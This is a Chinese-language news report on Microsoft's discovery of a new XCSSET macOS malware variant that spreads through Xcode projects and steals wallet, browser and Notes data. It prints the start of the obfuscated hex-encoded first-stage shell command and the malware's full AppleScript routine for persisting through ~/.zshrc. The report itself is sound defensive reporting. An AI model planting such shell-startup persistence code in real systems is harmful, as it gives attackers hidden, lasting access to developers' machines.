当前位置: 首页 > news >正文

新型XCSSET恶意软件利用增强混淆技术攻击macOS用户

image

微软威胁情报团队发现了一种新型的XCSSET变种,这是一种复杂的模块化macOS恶意软件,能够感染Xcode项目,并在开发者构建这些项目时执行。

这是自2022年以来的首个已知XCSSET变种,采用了增强的混淆方法、更新的持久化机制以及新的感染策略,旨在窃取macOS用户的敏感信息。

恶意软件的感染策略

该恶意软件的感染策略利用了开发者在开发与Apple或macOS相关的应用程序时共享项目文件的方式。新型XCSSET变种采用了模块化的方式,其有效载荷经过深度编码,并改进了错误处理机制。

为了在受感染设备上保持低调并尽可能保持无文件状态,该恶意软件广泛使用脚本语言、UNIX命令和合法二进制文件,这使得检测和清除变得极具挑战性。在代码层面,恶意软件对模块名称进行混淆,以阻碍静态分析,并采用随机化方法生成有效载荷。

与之前的变种仅依赖xxd(hexdump)进行编码不同,最新版本还引入了Base64编码技术。

持久化技术

该恶意软件采用了三种不同的持久化技术,确保其有效载荷在以下情况下启动:新shell会话开始、用户打开伪造的Launchpad应用程序或开发者在Git中提交更改。

微软研究人员指出,感染链由四个阶段组成,首先是构建受感染的Xcode项目时运行的混淆shell有效载荷。

混淆的第一阶段 shell payload(来源 – Microsoft)

第一阶段的有效载荷在被传输到 shell 之前,会经过多次十六进制解码迭代:

sh -c"(echo  33336363233343633335233303536

在初始感染之后,该恶意软件会从其命令与控制服务器(C2)下载额外的模块,其中包括能够窃取系统信息、浏览器扩展数据、数字钱包信息以及来自 “备忘录” 应用程序的笔记内容的组件。

该恶意软件通过几种复杂的方法来实现驻留。其中一种方法是修改~/.zshrc 文件,以便在每次启动新的 shell 会话时执行恶意代码。

.zshrc 驻留方法(来源:微软)

恶意软件在利用.zshrc 文件驻留时,会先检查是否存在恢复标志,然后根据标志决定是删除恶意文件,还是创建并更新它:

on doMain()
    try
        if RESTORE_DEFAULT is true then
            do shell script "rm -f ~/.zshrc_aliases"
            log ".zshrc_aliases removed"
        else
            set payload to getPayloadBody("Terminal")
            set payload to quoted form of payload
            do shell script "echo " & payload & " > ~/.zshrc_aliases"
            log ".zshrc_aliases updated"
            set payload to "[ -f $HOME/.zshrc_aliases ] && . $HOME/.zshrc_aliases"
            set payload to quoted form of payload
            do shell script "touch ~/.zshrc"
            do shell script "grep -qF '.zshrc_aliases' ~/.zshrc || echo " & payload & " >> ~/.zshrc"
            log ".zshrc done"
        end if
    on error the errorMessage
        log "failed at .zshrc: " & errorMessage
        return
    end try
end doMain

另一种驻留手段是创建一个伪装成启动台的恶意应用,只要用户试图打开真正的启动台,这个伪装应用就会执行恶意代码。

此外,恶意软件还会通过修改 Git 仓库的预提交钩子,在开发者提交更改时执行有效载荷,从而感染 Git 仓库。

微软建议用户及时更新到最新版本的操作系统,在使用 Xcode 项目时仔细检查,同时启用微软端点防护软件(Microsoft Defender for Endpoint)等安全防护工具,这些工具能够检测并隔离该恶意软件变种,有效保护系统安全。

相关文章:

  • 【漫话机器学习系列】136.随机变量(Random Variable)
  • Windows系统中安装Rust工具链方法
  • VSCode + CMake
  • Linux 中的 likely 和 unlikely
  • Docker安装mysql——Linux系统
  • 安卓屏保调试
  • 五子棋小游戏-简单开发版
  • 【数据分析】读取文件
  • 部署 T-Pot:构建高级威胁捕获与分析平台的精妙指南
  • DNS服务和实验
  • uniapp 多环境配置打包,比较优雅的解决方案,全网相对优解
  • 自动化立体仓库堆垛机HMI屏幕程序施耐德HMIGXU系列 Vijeo Designer功能设计
  • 【为什么游戏能使人上瘾】
  • Windows安全日志Defender 的配置被修改5007
  • 《灵珠觉醒:从零到算法金仙的C++修炼》卷三·天劫试炼(53)炼妖壶收子集 - 子集问题(位运算与回溯)
  • transformer入门详解
  • 设计模式之原型模式:原理、实现与应用
  • python习题卷1
  • 【从零开始学习计算机科学】算法分析(一)算法、渐进分析、递归分析
  • JAVA实战开源项目:教学辅助平台(Vue+SpringBoot) 附源码
  • 媒体报道一民企投资400万运营出租车4年未获批,广西隆林县回应
  • 4月份国民经济顶住压力稳定增长
  • 自媒体假扮官方蹭反间谍热度攫取利益,国安机关提醒
  • 倒计时1天:走进“中国荔乡”茂名,探寻农交文旅商融合发展新模式
  • 广东缉捕1名象牙走私潜逃非洲“红通”逃犯
  • 习近平向第三十四届阿拉伯国家联盟首脑理事会会议致贺信